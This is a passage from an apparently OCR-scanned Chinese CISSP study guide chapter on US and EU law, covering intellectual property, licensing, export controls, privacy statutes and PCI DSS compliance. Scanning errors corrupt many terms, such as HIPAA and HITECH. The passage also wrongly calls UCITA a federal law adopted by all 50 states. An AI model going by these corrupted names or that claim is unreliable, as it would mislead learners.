重复罪行规定了 高达 1 00 万美元和 1 0 年监禁的处罚 。 非营利性机构(如图书馆和学校升皮从这个条款
中 免除 。
DMCA 还限制了当网络服务提供商的线路被罪犯用来违反版权法时应当承担的责任。 DMCA
认识到， ISP 的法律地位与电话公司 "普通运营商 " 的地位类似， 并且对于他们的用户 的暂时性行
为不承担责任。 为了符合免除条件的资格， 服务提供商的活动必须符合下列各项要求(直接引用于
1 998 年 1 2 月 美国版权办公室摘要 ， 数字千禧年版权法案):
• 传输必须 由 提供商之外的某个人发起。
• 传输、 路由、 连接准备或复制必须由自 动化的技术过程执行， 而不是由 服务提供商进行
选择。
• 服务提供商不能决定 数据的接收者 。
• 任何中间的复制品除了预期的接收者 以外 ， 不能让任何人民问 ， 并且保留 的时间不能超过
合理的需要时间。
• 不 能修改所传输数据的内容。
DMCA 还免除了服务提供商有关系统缓存、 搜索引 擎和个人用户在网络上存储信息的活动。 然
而， 在这些情况中 ， 服务提供商必须采取迅速的行动 ， 在接到侵权通知之时删除受版权保护的 内容。
美 国 国会在 DMCA 中还包括了 这样的条款， 允许备份计算机软件和维护、 测试或需要复制软
件的 日 常活动。 这些条款只应用于经过许可的在特定计算机上使用 的软件， 用法要符合许可证协议，
并且这些复制 品在不再需要允许的活动时必须被立刻删除 。
最后， DMCA 清楚地说明 了版权法原则在新兴的 Web 广播领域中 的应用 。 所谓 Web 广播， 即
通过互联网 以广播形式， 将音频和/或视频内 容传送给接收者。 这种技术通常被称为流式音频或流式
视频。 DMCA 声明， 这些使用被认为是 " 合法的非预定传输"。 这个领域的法律仍然在发展之中 ，
因此， 如果计划参与这种类型的活动 ， 那么 应该咨询一位律师， 以确定符合当前的法律要求。
提示 :
留 意 《反假冒 贸 易协议》 的发展， 它提出 了 一个关于国 际知识产权执法保护的框架。 自 2015
年2月起， 该条约就在等待欧盟成员 国 、 美国和其他5个 国 家 的批准。
2. 商标
版权法被用来保护创造性的作品， 对于商标也有保护 。 商标是单词、 口 号和标志语， 被用于标
识某家公司及其产品或服务。 例如， 一家公司可能获得了 自 己的销售说明书的版权， 从而保证竞争
对手不能复制其销售材料。 同一家公司还可能寻求获得商标保护， 从而保护公司名称以及提供给客
户 的特殊产品 和服务的名称。
保护商标的主要 目 的是在保护个人和组织的知识产权时避免市场发生混乱。与版权的保护一样，
为了获得法律的保护， 商标不需要正式注册 。 如果在公众活动期间使用 了 商标， 那么你会自动受到
相关商标法的保护， 并可以使用TM符号来表示出想要保护作为商标的单词或口号。 如果想让别人正
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CISSP 官方学习指南(第 7 版)
式承认商标， 那么可以在美国专利和商标局(United States Pat巳nt and Trademark Office， USPTO)进行
注册。 这一过程通常需要律师对己存在的商标尽职尽责地做一次全面搜索， 以排除注册时的障碍。
整个注册过程从开始到完成可能需要一年多的时间。 一旦收到来自 USPTO 的注册证书， 就可以使
用 ⑧符号来表示标记 是 己注册的商标。
商标注册的一个主要好处是: 可 以注册一个想要使用 的商标， 但不必是己经使用的商标。 这种
类型的应用被称为 " 使用 意向(intent to use) "， 并且从提供文档的 申请之 日 起保护商标权(假定在特定
期限内将商标真正投入商用)。 如果选择不向 PTO 注册商标， 那么保护从第一次使用商标时开始。
在美国 ， 接受商标应用主要有下列两个要求:
• 该商标不能与其他商标类似， 以免造成混淆。 这需要在律师尽职搜索期间予以确定。 在该
商标的开放接受反对意见期间， 其他公司可以对应用 的商标提出质疑。
• 该商标不应该对所提供的产品和服务加以描述。 例如， " Mike's Software Company" 就不是
一个好的商标候选名称， 因 为它描述了该公司生产的产品。 如果 USPTO 认为该商标具有描
述性， 就可能拒绝它 的应用 。
在美国 ， 商标准许的初始期是 1 0 年 ， 年限到 了 可 以再连续不受限制地使用 1 0 年 。
3. 专利权
专利权是保护发明者的知识产权。 他们提供 20 年的保护， 在这期间发明者具有独家使用发明 的
权力(无论是直接使用还是通过许可协议) 。 在专利专用期结束时， 该发明在公共领域允许任何人
使用 。
专利权有下列三个主要的要求:
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• 该发明必须是新的 。 只有在发明是原始创意时 ， 才能 申 请专利 。
• 该发明必须是有用 的 。 它 必须能够实际工作并完成某种类型的任务。
• 该发明不能是显而易见的 。 例如， 你不能为你的主意(即使用喝水的杯子收集一杯雨水)而获
得专利权。 然而， 你可以设计一个特殊的杯子， 能优化收集到的雨水， 并且将蒸发量减到
最少， 这个解决方案就可 以 获得专利 。
在技术领域中 ， 专利权已经被长期用于保护硬件设备和制造过程。 在这些方面存在丰富的发明
者的先例。 最近被发布出来的专利涉及软件l�)芋和类似的机制， 但是仍由陪审团公开这些专利是否
在法庭上进行审查。
4. 商业秘密
很多公司都有知识产权， 这对于他们的业务绝对关键， 并且如果泄露给竞争对手和/或公开， 那
么就会导致相当大的损害。 换句话说， 这也就是商业秘密。 之前我们曾提到这种公众文化信息类型
的两个例子， 可口可乐公司 的秘方和肯德基公司的"香草和香料的混合秘密"。 其他的例子还有很多 ，
制造公司可能希望保持某种生产过程的秘密， 这个秘密只有少数重要员工完全理解， 或者统计分析
公 司 可能希望对为 内 部使用而开发的 先进模型进行保护 。
前面讨论的版权和专利这两种知识产权工具可能被用于保护这种信息类型， 但是却具有下列两
个主要缺点:
• 提出版权或专利应用 申请时， 要求公开地透露你的工作或发明的细节 。 这 自动去除了产权
的 "秘密" 特性， 并且可能由 于去除了产品的神秘或者允许不择手段的竞争对手违反国 际
知 识产权法拷贝 你的产权而对公司造成伤害 。
第 4 章 法律、 法规和合规性
• 版权和专利都提供有限时间的保护 。 一旦合法保护过期 ， 那么其他公司就可以随意使用你
的工作成果(并且他们拥有在 申 请过程中 公开透露的所有细节)。
官方关于商业秘密的处理过程实际上没有那么多 ， 就它们的本质而言， 不必向任何人登记， 而
是 自 己保持秘密。 为了 保持秘密， 必须对企业实施适当的控制， 确保只有经授权的需要 了解这些秘
密的人才可以访问这些秘密。 还必须确保任何具有这类访问能力 的人遵守不泄漏协议(NonDisclosure
Agr民ment， NDA)以防止与他人共享， 并且对违背协议的行为进行处罚 。 向律师咨询一下， 确保协
议能够持续法律准许的最长时间。 此外， 必须采取措施来证明你的价值， 并保护你的知识产权。 如
果不这样做， 可能会导致商业秘密保护的损失。
商业秘密保护是保护计算机软件的一种最好方法。 正如前面所讨论的， 专利法没有为计算机软
件产品提供适当 的保护。 版权法只 保护源代码的实际正文， 并且没有禁止其他人以不同的形式重写
代码井达到相同的目标。 如果将源代码作为商业秘密， 那么 首先需要不要使它落在竞争者的手中 。
这是像 Microsoft 这样的大型软件开发公司 用于保护知识产权核心基础 的技术。
经济间谍法案( 1 996 年)
商业秘密常常是大公司 的制胜法宝 ， 美国 政府在国会颁 布经济间谍法案(1 996 年)时认识到保护
这种知识产权类型 的 重要性。 这项 法律有下列 两 个主要规定:
• 任何被友现带有为外国政府或机构获利的意图 而从美国公司 窃取商业秘密的人可以被处以
高达50 万 美元的罚款和长达 1 5 年 的监禁。
• 任何被友现在其他情况中 窃取商业秘密 的人可以处以 高达25 万美元的罚款和长达 10年
的监禁。
经济间谍法案的条款给予商 业秘密拥有者知识产斗对又利的真正保护。 这项法律的强制 实旋，要求
公司 采取适 当的步骤 ， 确 保其 商业机密受到 良好保护 ， 并且不会意外地放到公共 区 域。
5. 许可证
安全专家还应 当熟悉软件许可证颁发协议的相关法律问题。 许可证具有下列 4 种类型:
• 合同许可证协议在软件商和用户 之间采用书面的合同概述双方的责任。 这些协议常见于高
价 的和/或特别专用 的软件包。
• 收缩性薄膜包装的许可证协议是写在软件包装外面的协议。 由 于常常规定撕开封装软件包
的 收缩薄膜包装就承认 了合同条款， 因 而得名 。
• 单击包装许可证协议比收缩性薄膜包装协议更普遍。 在这种协议类型中， 合同条款或者写
在软件包装盒外， 或者包括在软件文档中。 在安装过程中， 你被要求单击一个按钮， 表示
己经阅读了协议条款并且同意遵守这些条款。 这为协议的认同过程增添了积极 的认可， 确
保使用者在安装之前知道协议的存在。
• 云服务许可协议让单击协议走向了极端。 大部分云服务不需要任何形式的书面协议 ， 而是
在屏幕上简单闪现法律条款供检阅 。 在一些情况下 ， 它们也许简单地为用户提供一个到法
律条款的链接， 以及一个确认 己经阅读并同意条款的确认框。 对于兴奋地访问一个新服务
的大部分用户， 他们不阅读协议就简单单击通过， 这可能无意中使他们的整个组织负有法
律责任的条款和条件。
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CISSP 官方学习指南(第 7 版)
统一计算机信息处理法案
统一计算机信息处理法案(UnifOlm Computer Information Transactions Act， UCITA)是被所有 50
个州都采纳的美国联邦法律， 它提供 了 计算中几相 关业务处理行为 的共同 架构。 UCITA 包括对软件许
可证颁发的规定。 UCITA 条款对先前可疑的收缩性薄膜包装许可证和单击 包装许可证颁发行为提供
了 法律援助 ， 从而将它们 变为有法律约束力 的合同 。 UCITA 还要求生产制造者为软件用 户 提供选择，
用 户 可以在完成安装过程之前拒绝许可证协议的 条款， 并且能够收到软件订购价格的全额退款。
提示 :
两 个重要的行业团体提供了 关于软件许可证颁发的指导和强制操作。 可以从他们的网站上获得
更 多 的信息。 商 业软件联盟的 网 站是www.bsa.org.
4.2.3 进口/出 口
美国联邦政府认识到， 驱动互联网和电子商务发展的、 非常类似的计算机和加密技术， 还可能
成为军用 的强大工具。 因此， 在冷战期间 ， 美国政府出台了一套复杂的规定， 以便控制向其他国家
出 口敏感的硬件和软件产品 。 规定包括新技术、 知识产权和个人身份信息的跨境数据流管理。
直到最近， 除了一些选择的盟国之外， 向美国以外国家或地区 出 口强大能力的计算机还是很难
的事情。 对于加密软件的出 口控制甚至更严， 实质上向美国 以外国家或地区出 口加密技术是不可能
的 。 最近美国 联邦策略的一些 改变 已经放松 了 这些限制 ， 从而提供更加开放的商业环境。
1 . 计算机出 口 控制
当前， 美国公司可能将高性能的计算机系统出 口到事实上没有受到美国政府事先许可的一些国
家。 如果某些国家被美国商务部的工业和安全局认为， 它们构成核扩散问题、 支持恐怖主义或与此
相关， 那么对这些国家来说这条 "规则" 就是例外的。
注意 :
可以从美国商务部的网站www.bis.doc.gov找到这些国 家 的 完整列表和他们相应 的计算机出 口
等级。
2. 加密产品出 口 控制
美 国商务部的工业和安全局对向美国 以外的国家出 口 加密产品建立了又一个规定 。 在前面的规
定中， 事实上即使向美国 以外的国家 出 口 相对低等级的加密技术也是不可能的。 这使得美国的软件
制造商与没有这些限制的外国公司相比， 具有很大的竞争劣势。 在经过软件企业的长期游说之后，
美 国总 统指示美国 商务部修订其规定 ， 以促进美国 安全软件业的成长。
现在的规定定义了安全软件的零售种类和大规模市场销售。 现在这些规则准许公司提交这些产
品 ， 由美国商务部进行复审 ， 但是复审将不会超过 30 天， 在复审成功地完成后 ， 这些公司就可以 自
由地出 口 这些产品 。
第4章 法律、 法规和合规性
4.2.4 隐私
在美国 ， 隐私权己经成为多年来争论的热门 问题。 争论的主要问题是宪法的权利法案没有明确
规定隐私权。 然而， 很多法院都已经支持这个权力 ， 并且像美 国公民自 由协会(American Civil Liberties
Union ， ACLU)这样的组织也在积极地追求这个权力 。
欧洲人同样一直在关注他们的隐私。 实际上， 像瑞士这样的国家由于其保护财务秘密的能力 己
为世界所知。 在本节的后面部分， 我们将研究新的欧盟数据隐私法如何影响这些公司 和互联网用户 。
丁 美国隐私法
虽然隐私没有宪法的保障， 但还是有数量众多 的美国联邦法律(很多都是最近几年颁布的升皮用
于保护政府维护的隐私信息， 这些信息有关公民 以及私营机构中 的重要部门， 如财务、 教育和卫生
机构。 接下来 ， 我们将对 这些联邦法律 中 的许多法律进行研究 。
第四修正案 隐私权的基础是美国宪法的第四修正案， 内 容如下所示:
人们保护其人身 、 房屋、 证件和财物不受无理搜查和没收的权利不应 当 被违反， 并且这些违反
行为 不应得到投权批准， 但是那些可能性很大的原 因 、 受到誓词或证词支持的 、 特别描述的需要搜
查 的地方和需要被逮捕或扣押的 人或物品除外。
这个修正案的直接解释防止了 美国政府机构在缺乏授权批准和可能性很大的原因 的情况下对私
有财产进行搜查。 一些美国法院己经扩展了其对第四修正案的解释， 包括针对窃听和侵犯其他隐私
的防护。
隐私法案(1 974 年) 美国的隐私法案(1 974 年)可能是对美国联邦政府处理公民个人私有信息的
方法进行限制的最重大的隐私立法， 它严格地限制了 美国联邦政府机构在没有事先得到当事人书面
同意的情况下向他人或其他机构泄漏隐私信息的能力。 这个法案还规定了一些例外， 涉及人口 普查、
执法、 国家档案、 健康和安全 以及法院判决 。
隐私法案要求政府机构只维护那些对于管理其业务必要的记录， 并且在政府的合法职能不再需
要时销毁这些记录。 它为个人对这些政府维护的记录进行访问 并要求修正不正确的记录规定了 正式
的程序 。
电子通信隐私法案(1 986 年) 电子通信隐私法案(Electronic Communication Privacy Act， ECPA)
使得对个人电子隐私的侵犯成为犯罪行为。 这个法案更新了 联邦窃听法案， 以便应用于非法的电子
(也就是计算机)通信侦昕或者对于以 电子形式存储的数据的有意和未授权访问 。 ECPA 禁止侦昕或泄
漏 电子通信， 并且定义了 公开电子通信的合法情况。 该法案对电子邮件和语音邮件通信的监视提供
了 防护 ， 并且防止这些服务的提供商对这些内 容进行未授权的公开。
ECPA 最著名 的规定是使得对蜂窝 电话通信的监听成为非法。 实际上， 这种监听会被处以最高
500 美元的罚款和最高 5 年的监禁。
执法通信协助法案(1 994年) 执法通信协助法案(Communication Assistance for Law Enforcement
Act， CALEA)是对1 986年的 电子通信隐私法案的修正。 CALEA 要求: 无论采用怎样的技术， 所有
通信运营商都需要允许持有适当法院判 决的执法人员进行窃听。
经济和专有信息保护法案(1 996年) 经济和专有信息保护法案将财产的定义扩展为包括经济信
息 ， 从而可以将窃取这类信息的行为视作针对行业或公司 的间谍行为。 这个法案修改了盗窃的法律
定义， 从而使这种行为不再受到物理约束。
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健康保险流通与责任法案(1 996 年) 1996 年， 美国国会通过了健康保险流通与责任法案(Heal也
Insurance Portability and Accountability Act， 四PAA) ， 这使得管理健康保险和健康保护组织(Heal也
Maintenance Organization， 卧10)的法律发生了 许多变化。 在 回PAA 的条款中 ， 隐私和安全法规要
求医院、 医师、 保险公司和其他处理或存储个人医疗隐私信息的组织采取严格的 安全措施。
回PAA 还 明确地定义了个人在医疗记录方面的权利， 并且要求保存医疗记录的组织书面表明这
些权利 。
注意 :
因PAA 隐私和安全法去则民复杂。 你应 当 熟 悉这个法案的广义意图。 如果你在卫生保健行业王作，
那么就应 当 考 虑花费时间对这个法律规定进行深入研究 。
2009 关于经济和临床健康的卫生信息技术法案 在 2009 年 ， 美国国会通过了 " 关于经济和临
床健康 的 卫生 信息 技术法案(Heal也 Infomation Technology for Economic and Clinical Heal也 ，
因TEC四"来修订 皿PAA。 这条法律更新了许多 HIPAA 的隐私和安全需求， 并于 20 1 3 年通过 四PAA
Omnibus Rule 实施。
被新法规强制变化的其中之一就是在法律对待商业伙伴侣lusiness Associate， BA)的方式上， 处
理被保护的健康信息(protected H创th Information， P田)的组织机构代表了 HlPAA 覆盖的实体。 覆盖
实体和一个 BA 之 间 的任何关系必须被书面合同管理， 这个合同被称为业务联合协议。
四TECH 也引入了新的数据泄露通告需求。 在 四TECH 违约通知规则下， 经历了 数据泄露的
HIPAA 覆盖实体必须通知受影响 的个人， 当泄露影响超过 500 人时， 必须通知卫生和人力服务部的
部长和媒体。
数据泄露通知法
回TECH 的数据泄露通知规则 的独特之处在于 ， 它是一个由联邦法律授权的影响个人的通告。
在超出 医疗记录的要求 范 围 之外 ， 数据泄露通知的要求在各州是不相同的 。
在 2002 年， 加利福尼亚州 通过 了 SB 1386 并且成为第一个公开 已知或疑似违反个人身份信息的
州 ， 这 包括与 下 面信 息有 关联的 个人名 字的未加密副本:
• 社会保险号
• 驾照号码
• 身 份证号码
• 信用 卡或借记卡号码
• 银行账户 与 安全代码 、 存取码或 口 令等 能够九许访问账户 的信息
• 疯 民
• 医疗保险信息
在 SB 1 386 颁布后的几年间 ， 许多 (并非所有)另 外的州通过 了 相似的法令， 这些法令都是从加
利福尼亚州 的数据泄露通知法修t丁过来的 。 截至 2015 年， 只有阿拉巴马 州 、 新墨西哥州和南达科他
川 还没有数据泄露通知法 。
注意 :
对于各州 的数据泄露通知法的完整列表， 请参阅 www.ncsl.orglresearch/telecomrnunications-andinformation-technology/security-breach-notification-laws.aspx。
第4章 法律、 法规和合规性
儿童联机隐私保护法案(1 998 年) 2000年4月 ， 儿童联机隐私保护法案(αúldren's Online
Privacy Protection Act， COPPA)中 的规定成为美国本土的法律。 COPPA 对关心孩子或有意收集孩子
的信息的网站提出 了 一系 列要求:
• 网站必须发送隐私通知 ， 清楚地说明他们所收集信息的类型和用途， 包括是否有一些信息
会泄漏给第三方。 隐私通知还必须包括网站工作者的联系 信息 。
• 必须向父母提供机会， 复查任何从他们的孩子那里收集到的信息， 并且可以从网站的记录
中永久地删除这些信息 。
• 如果孩子的年龄小于 1 3 岁 ， 那么在收集信息前， 父母必须对有关孩子信息的收集做出可证
实的允许。 法律中存在一些例外， 准许 Web 站点只是为 了获得父母允许收集最少的信息。
Gramm-Leach也liley 法案(1 999 年) 直到 Gramm-Leach-Bliley Act(GLBA)法案于 1999 年成为
法律， 在商业机构之间才形成了严格的政府屏障。 银行、 保险公司和贷款提供商受到对他们所能提
供的服务和相互共享的信息的严格限制。 GLBA 稍微放松了涉及每个组织所能提供的服务的规定。
当美国 国会通过了这条法案后， 它意识到这扩大了具有深远隐私意义的范围。 基于这点考虑， 该法
案包括了许多 限制， 对可能在相同公司 的子公司之间交换的信息类型进行了 限制， 并且要求从 2001
年7月 1 日 开始金融机构对所有用户 提供书面的 隐私策略。
美国爱国者法案(2001 年) 美 国 国会对 2001 年9月 1 1 日 发生在纽约市和华盛顿哥伦比亚特区
的 9 . 1 1 恐怖袭击做出 了直接反应: 通过了 提供拦截和阻止恐怖行为所需 的适当工具来团结和巩固
美国(USA PAT阳OT)法案。 美国爱国者法案大大扩大了执法机构和情报机构跨多个领域的力量， 包
括对 电子通信 的监视。
美国爱国者法案提出 的一个主要改变涉及政府机构获取窃听授权的方法。 以前， 策略只能一次
获取一条线路的授权(在证实这条线路被受到监控的某人使用后)。 美国爱国者法案规定准许官方获
得对个人的 一揽子授权， 并且随后根据这项单一授权监视此人的所有通信 。
另 一个主要的改变是政府处理网络服务提供商。SP)的方式。 根据美国爱国者法案中的条款， ISP
可以自愿地向政府提供大范围 的信息。 美国爱国者法案还准许政府通过使用传唤获取用户活动的详
细信息(与窃听相反)。
最后， 美国爱国者法案修正了计算机欺诈和滥用法案(是另一组修正案)， 从而对犯罪行为处以
更严厉的 处罚 。 美国爱国者法案规定了 最长 20 年 的监禁条款 ， 并再一次扩大了 CFAA 的范围 。
子女教育权利和隐私法案 子女教育权利和隐私法案(Family Educational Rights and Privacy
Act， FERPA)是另一种特殊的隐私法案， 它影响所有接受美国联邦政府资助的教育机构(绝大多数学
校)。 这个法案赋予 1 8 岁 以上的学生和未成年学生父母的确定的隐私权。 具体的 FERPA 保护包括下
列内容:
• 父母/学生具有检查 由 教育机构保存 的此学生教育记录的权利 。
• 父母/学生具有要求改正他们认为不正确的记录的权利， 具有在记录中包括声明争辩任何没
有被改正的内容的权利 。
• 学校不能不经书面许可而发放学生记录的个人信息， 某些特定的情况除外 。
身份偷窃和冒用阻止法案(1 998 年) 1 998 年， 美国总统签署了 身份偷窃和冒用阻止法案， 从而
使之成为法律。 在过去， 只有身份偷窃的合法受害人才是受侵害的债权人。 这个法案使得身份偷窃
成为对被偷窃身份的个人犯罪行为， 并且规定了对任何违反此法律的人处以严厉的犯罪处罚(长达
1 5 年 的监禁条款和/或 250 000 美元的罚 款) 。
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@ 真实场景
工作间内的隐私
本书 的 一位作者最近与在办公室工作的亲戚进行了 一次饶有兴趣的谈话。在家庭的圣诞聚会上，
这位亲戚偶然提到在网上读过的一则故事 ， 它讲述了 本地某家公司 的 几位员 工由于滥用 互联网权限
而遭解雇 。 这位亲戚非常震惊， 并且无法相信公司 会侵犯 员 工的隐私权。
正如本章前面所述， 美国法院系统长时间 以来一直支持传统的 隐私权作为基本合法权利的扩展。
然 而法院一直主张， 此权利的一个重要因素是隐私只应 当在具有 "合理的 隐私要求" 时受到保护。
例如， 如果你向 某人发送一封密封在信封中的信， 那 么你有理由期望它在邮寄途中 不会被拆开阅读，
这就是合理的 隐示么要求。 另 一方面， 如果通过明信片 发送信息， 那么你 已经知道在信件到达对方之
前会有一人或多 人看到信件 的 内 容， 因 此此时没有合理的 隐私要求。
最近的法院裁决 已经发现员 工在工作 间 内 使用 店 员 自 己的通信设备时没有合理的 隐私要求。 如
果使用雇主的计算机、 互联网 连接、 电话或其他通信设备发送消息， 那 么雇主可能会将其作为常规
的 商业程序进行监视。
也就是说， 如果正在计划监视员 工的通信， 那么就应当采取合理的预防措施， 确保没有默许的
隐私要求。 下 面 列出了 一些可供考虑的常见措施:
• 在雇佣合同 的条款 中 声明员 工在使用 公 司 设备时 没有 隐私要求。
• 在公司 可接受 的应用和隐私策略中 的 类似书面声 明 。
• 登录界面警示所有的通信都受到 监视。
• 用 计算机和 电话上的警示标记警示监控。
与 本章中讨论的很多 问 题一样， 在采取通信监控措施之前向律师进行咨询走一种明智的做法。
2. 欧盟隐私法
1995 年 1 0 月 24 日 ， 欧盟(European Union， EU)议会通过了 描绘隐私措施的概括指令， 也就是
必须采取措施保护信息系统中处理的个人数据。 这个指令在 3 年后(1 998 年 10 月 )生效。 指令要求所
有个人数据的 处理都要满足下列标准中 的某一条:
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• 同 意
· 合同
• 法律义务
• 数据主体的主要利益
• 数据所有者和数据主体之间利益的平衡
如下所示， 指令还描述了有关数据被持有和/或处理的个人的重要权利 :
• 访问数据 的权利
• 知道数据源的权利
• 改正错误数据的权利
• 拒 绝在某些情况下处理数据的权利
• 这些权利被违反时应当采取 的合法行为
甚至欧洲以外的组织， 根据跨境数据流的要求， 必须考虑这些规则的适用性。 为防止欧盟公民
第4章 法律、 法规和合规性
的个人信息从欧盟泄露出去， 这些发送的数据必须确保是受到保护的。 在欧洲从事商业活动的美国
公司可以根据欧盟和美国之间的谈判获得保护， 该谈判准许美国 商务部证明业务遵守规定， 并且为
他们提供 " 安 全避难所 "， 以 免于受到起诉 。
为 了符合安全避难所规定， 在欧洲进行商业活动的美国公司必须满足下列 7 项处理个人信息的
要求:
• 通知 他们必须通知个人收集 了什么信息， 以及信息将如何使用 。
• 选择 如果信息将被用于其他 目 的或与第三方共享， 那么他们必须准许个人决定退出 。 对
于涉及敏感的信息， 必须采取决定参加的策略。
• 向前传递 企业只可能与其他遵守安 全避难所原则 的企业共享数据 。
• 访问 个人必须被授权访问 任何包含其个人信息 的数据。
• 安全 必须采取适当的机制保护数据 ， 以 防止丢失、 监用和 未授权的公开 。
• 数据完整性 企业必须采取措施， 确保他们所维护信息的可靠性。
• 实施 企业必须为个人提供争论解决办法 ， 向 管理机构提供证明， 表明遵守安全避难所
规定。
注意 :
有 关适用 于美国公司 的安全避难所的更多 信息， 读者可以查询美国 商务部 的安全避难所 网 站
http:// export. gov/ safeharbor。
4.3 合规性
在过去的 1 0 年间 ， 信息安全管理的监管环境变得越来越复杂。 组织可能会发现自 己受到广泛的
各种各样的法律约束(其中很多在本章早些时候提到过)， 以及来自 监管机构或合同义务的强制合规。
真实场景
支付卡行业数据安全标准
支付卡行业数据安全标准σa泸nent Card Industry Data Security Standard， PCI DSS)是一个非法律
但有合同 义务的优秀合规要求的典范。 PCI DSS 管理信用 卡信息的安全， 并且有一个商业合同条款，
在接受信用 卡信息 的 业务与 处理业务交易 的 银行之间强制执行。
PCI DSS 有 1 2 个主要要求:
1 ) 安装和维护 防 火墙配置来保护持卡人数据。
2) 不要使用 供应 商提供的 系 统默认密码和其他安全参数。
3) 保护存储的持卡人数据 。
4) 在开放的公共 网 络下要加密持卡人的传输数据。
5) 防止所有 系 统受 恶 意软件入侵， 并定期更新杀毒软件或程序 。
6) 开发和维护安全 系 统和应用程序 。
7) 根据业务须知， 限制对持卡人数据 的访问。
8) 访 问 系 统组件要经过标识和认证。
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9) 限制对持卡人数据的物理访问。
1 0) 跟踪和监视所有对 网 络资源和持卡人数据的访 问 。
1 1) 定期测试安全 系 统和程序 。
1 2) 坚持对所有人宣传信息安全的 策略。
这些要求中 的每一个在完整的PCI DSS标准中 者附详细阐述， 可以在www.pcisecuritystandards.orgj
上找到 。
组织在面对和处理许多的交叉和有时相互矛盾的合规需求时， 需要仔细计划。 许多组织雇佣全
职的 盯 合规人员负责跟踪合规环境， 监督控制以确保持续合规， 促进合规性审核， 并满足该组织的
合规性报告责任。
警告 :
非商业组织在行为土和商业组织一样会存储、 处理或传输信用 卡信息 ， 但也必须符合 PCI DSS
标准。 例如， 要求适用 于共享主机的供应商， 必须保护持卡人数据环境。
组织可能会经受合规性审计， 要么通过标准内部或外部审计机构， 要么通过监管或其代理。 例
如 ， 组织的财务审计人员也许主导 IT 控制审计， 这种审计被设计用于确保组织金融系统的信息安全
控制满足萨班斯·奥克斯利法案的要求。 一些合规， 例如 PCI DSS， 可能要求组织雇佣被认可的独立
审 计师来证明控制 ， 并直接向监管部 门 提供报告 。
除了正式的审计， 组织必须经常把合规遵从报告发送给内部或外部的股东 。 例如， 组织的董事
会(或者， 更多是董事会的审计委员会)可能需要定期的合规义务和状况的报告。 类似地， PCI DSS
非强制地要求组织主导一个正式的第三方审计， 从而完成和提交一份自 我评估报告， 罗列出他们的
合规状态。
4.4 合 同 与采购
使用云服务和其他外部供应商来存储、 处理和传输敏感信息的用户逐渐增加， 这导致一些组织
在他们的合同签订和采购过程中， 实施安全审查和控制成为一个新的关注点。 安全专家应该主导对
供应商部署的安全控制措施进行审查 ， 这包括最初的供应商选择和评估流程， 以及作为供应商持续
管理过程的一部分。
1 00
供应商管理审查中覆盖的一些 问 题包括:
• 什么类型 的敏感信 息应该由 供应商存储 、 处理或发送?
• 在 部署保护组织信息时有什么样的控制措施 ?
• 组织的信息如何与其他客户 的信息分开?
• 如果加密是一种值得信赖的安全控制措施， 那么我们要用什么样的加密算法和密钥长度?
密钥管理如何进行 ?
• 供应商执行了 什么 类型的安全审计? 客户访问这些审计必须做什么 ?
• 供应商是否依赖于任何其他第三方来存储、 处理或传输数据? 如何处理扩展到第三方与安
全有关 的合同条款 ?
• 数据存储、 处理和传输发生在什么地方 ? 如 果客户 或供应商在国外， 会有什么影响 ?
第4章 法律、 法规和合规性
• 供应商的事件响应流程是什么 ? 什么 时候将会通知客户存在潜在 安全泄露?
• 在确保客户 数据的持续完整性和可用性方面有什么条款?
上面也许只是你关注的一些简要清单。 需要裁剪组织专门关注的安全审查范围、 供应商提供的
服务类型 以及与他们共享的信息 。
4.5 本章小结
计算机安全必然需要合法团体的高度介入。 在本章中 ， 你 己经学习 了 管理安全问题(如计算机犯
罪 、 知识产权、 数据隐私和软件许可证颁发)的 大量法律。
有三大类法律影响到信息安全专家 。 刑法概述了规则和对公信度重大违反的制裁。 民法为我们
提供了 一个商业处理的框架。 政府机构使用行政法来颁布 日 常条例 ， 解释现有法律。
管理信息安全活动的法律是多种多样的， 并且覆盖了 所有的三大类别 。 -些法律， 例如， 电子
通信隐私法案和数字千禧年版权法案是刑法， 违反可能导致刑事罚款或监禁。 其他法律， 如商标和
专利法， 是管理商业交易 的 民法。 最后， 许多政府机关颁布的行政法， 如 HIPAA 安全规则 ， 它们影
响着特定行业和数据类型。
信息安全专家应该了解他们的特定行业和商业活动的合规需求。 遵守这些要求是一个很复杂的
任务， 并应分配给一个或多个合规专员 ， 去监控法律中 的变化、 商业环境中 的变化以及这两个领域
交集中 的变化。
简单地担心自 己的安全性和合规性也是不够的。 随着越来越多地采用云计算， 许多组织现在与
那些作为服务提供商的供应商分享敏感信息和个人数据。 安全专家必须采取措施， 以确保供应商处
理数据时像公 司 自 己处理数据一样仔细， 井且符合任何适合的合规性要求 。
4.6 考试要点
了解刑法、 民法和行政法之间 的差别。 刑法保护社会免遭那些违反我们信奉的基本原则的行为。
违反刑法的行为是由美国联邦和州政府进行起诉的。 民法提供了个人和组织之间的商业交易体制 。
违反民法的行为被提交法院并由受到影响的双方进行辩论。 行政法是由政府机构使用的， 目 的是为
了有效地执行 日 常事务。
能够解释用来保护社会免遭计算机犯罪影响的主要法律的基本条款。 计算机诈骗和滥用法案(修
正案)保护政府或州间 贸易使用 的计算机不被滥用。 计算机安全法案概括了政府为了 保护 自 己的系统
免遭攻击而必须采取的措施。 政府信息安全改革法案进一步发展了美国联邦政府信息安全程序。
了解版权 、 商标 、 专利权和商业秘密之间 的差别。 版权保护创作者的原创作品 ， 如书籍、 文章、
诗和歌曲。 商标是名称 、 口 号和徽标， 用 于杭只公司、 产品或服务。 专利权为新发明 的创作者提供
保护 。 商业秘密法律保护公司 的运营机密 。
能够解释数字干禧年版权法案(1 998 年)的基本条款。 数字千禧年版权法案禁止绕过针对数字介
质 的复制保护机制 ， 并限制网络服务提供商对于其用 户 行为的责任。
了解经济间谍法案(1 996 年)的基本规定。 经济间谍法案对任何被发现偷盗商业秘密的人进行处
罚 。 在盗窃者知道这些信息将为外国政府获利时， 他会被处 以严厉 的处 罚 。
101
CISSP 官方学 习指南(第 7 版)
理解不同类型的软件许可证协议。 合同许可证协议是软件商和用户之间采用的书面协议。 收缩
性薄膜包装协议写在软件包装上 ， 并且在用户打开包装时生效。 单击包装协议包括在包装中 ， 但是
需要用户在软件安装过程中接受这些条款。
解释关于软件许可证颁发的统一计算机信息剑主里法案。 统一计算机信息处理法案提供了 由美 国
联邦和州 政府强制执行的收缩性薄膜包装和单击包装协议的架构。
理解一个经历数据破坏的组织的通告要求。 加利福尼亚外版布的 SB 1 386 是第一个在全州范围
内要求通告个人信息被泄漏到当事人的法律。 美 国 目 前除了三个州 以外的其他外|都最终审议通过了
相似的法律。 目 前， 只有当涉及 HIPPA 覆盖的实体破坏了它们保护的健康信息时， 联邦法律才要求
需要通知个人。
